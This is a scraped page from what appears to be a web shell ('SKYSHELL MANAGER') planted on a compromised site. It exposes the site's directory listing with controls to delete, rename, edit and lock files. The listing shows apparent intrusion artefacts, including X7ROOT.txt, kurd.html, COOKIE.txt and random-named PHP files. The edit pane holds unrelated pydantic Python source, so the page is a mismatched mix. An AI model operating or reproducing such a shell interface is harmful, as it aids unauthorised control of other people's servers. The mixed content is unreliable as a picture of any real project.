📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.38 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: _schema_validator.py
"""Pluggable schema validator for pydantic.""" from __future__ import annotations import functools from typing import TYPE_CHECKING, Any, Callable, Iterable, TypeVar from pydantic_core import CoreConfig, CoreSchema, SchemaValidator, ValidationError from typing_extensions import Literal, ParamSpec if TYPE_CHECKING: from . import BaseValidateHandlerProtocol, PydanticPluginProtocol, SchemaKind, SchemaTypePath P = ParamSpec('P') R = TypeVar('R') Event = Literal['on_validate_python', 'on_validate_json', 'on_validate_strings'] events: list[Event] = list(Event.__args__) # type: ignore def create_schema_validator( schema: CoreSchema, schema_type: Any, schema_type_module: str, schema_type_name: str, schema_kind: SchemaKind, config: CoreConfig | None = None, plugin_settings: dict[str, Any] | None = None, ) -> SchemaValidator | PluggableSchemaValidator: """Create a `SchemaValidator` or `PluggableSchemaValidator` if plugins are installed. Returns: If plugins are installed then return `PluggableSchemaValidator`, otherwise return `SchemaValidator`. """ from . import SchemaTypePath from ._loader import get_plugins plugins = get_plugins() if plugins: return PluggableSchemaValidator( schema, schema_type, SchemaTypePath(schema_type_module, schema_type_name), schema_kind, config, plugins, plugin_settings or {}, ) else: return SchemaValidator(schema, config) class PluggableSchemaValidator: """Pluggable schema validator.""" __slots__ = '_schema_validator', 'validate_json', 'validate_python', 'validate_strings' def __init__( self, schema: CoreSchema, schema_type: Any, schema_type_path: SchemaTypePath, schema_kind: SchemaKind, config: CoreConfig | None, plugins: Iterable[PydanticPluginProtocol], plugin_settings: dict[str, Any], ) -> None: self._schema_validator = SchemaValidator(schema, config) python_event_handlers: list[BaseValidateHandlerProtocol] = [] json_event_handlers: list[BaseValidateHandlerProtocol] = [] strings_event_handlers: list[BaseValidateHandlerProtocol] = [] for plugin in plugins: try: p, j, s = plugin.new_schema_validator( schema, schema_type, schema_type_path, schema_kind, config, plugin_settings ) except TypeError as e: # pragma: no cover raise TypeError(f'Error using plugin `{plugin.__module__}:{plugin.__class__.__name__}`: {e}') from e if p is not None: python_event_handlers.append(p) if j is not None: json_event_handlers.append(j) if s is not None: strings_event_handlers.append(s) self.validate_python = build_wrapper(self._schema_validator.validate_python, python_event_handlers) self.validate_json = build_wrapper(self._schema_validator.validate_json, json_event_handlers) self.validate_strings = build_wrapper(self._schema_validator.validate_strings, strings_event_handlers) def __getattr__(self, name: str) -> Any: return getattr(self._schema_validator, name) def build_wrapper(func: Callable[P, R], event_handlers: list[BaseValidateHandlerProtocol]) -> Callable[P, R]: if not event_handlers: return func else: on_enters = tuple(h.on_enter for h in event_handlers if filter_handlers(h, 'on_enter')) on_successes = tuple(h.on_success for h in event_handlers if filter_handlers(h, 'on_success')) on_errors = tuple(h.on_error for h in event_handlers if filter_handlers(h, 'on_error')) on_exceptions = tuple(h.on_exception for h in event_handlers if filter_handlers(h, 'on_exception')) @functools.wraps(func) def wrapper(*args: P.args, **kwargs: P.kwargs) -> R: for on_enter_handler in on_enters: on_enter_handler(*args, **kwargs) try: result = func(*args, **kwargs) except ValidationError as error: for on_error_handler in on_errors: on_error_handler(error) raise except Exception as exception: for on_exception_handler in on_exceptions: on_exception_handler(exception) raise else: for on_success_handler in on_successes: on_success_handler(result) return result return wrapper def filter_handlers(handler_cls: BaseValidateHandlerProtocol, method_name: str) -> bool: """Filter out handler methods which are not implemented by the plugin directly - e.g. are missing or are inherited from the protocol. """ handler = getattr(handler_cls, method_name, None) if handler is None: return False elif handler.__module__ == 'pydantic.plugin': # this is the original handler, from the protocol due to runtime inheritance # we don't want to call it return False else: return True
Save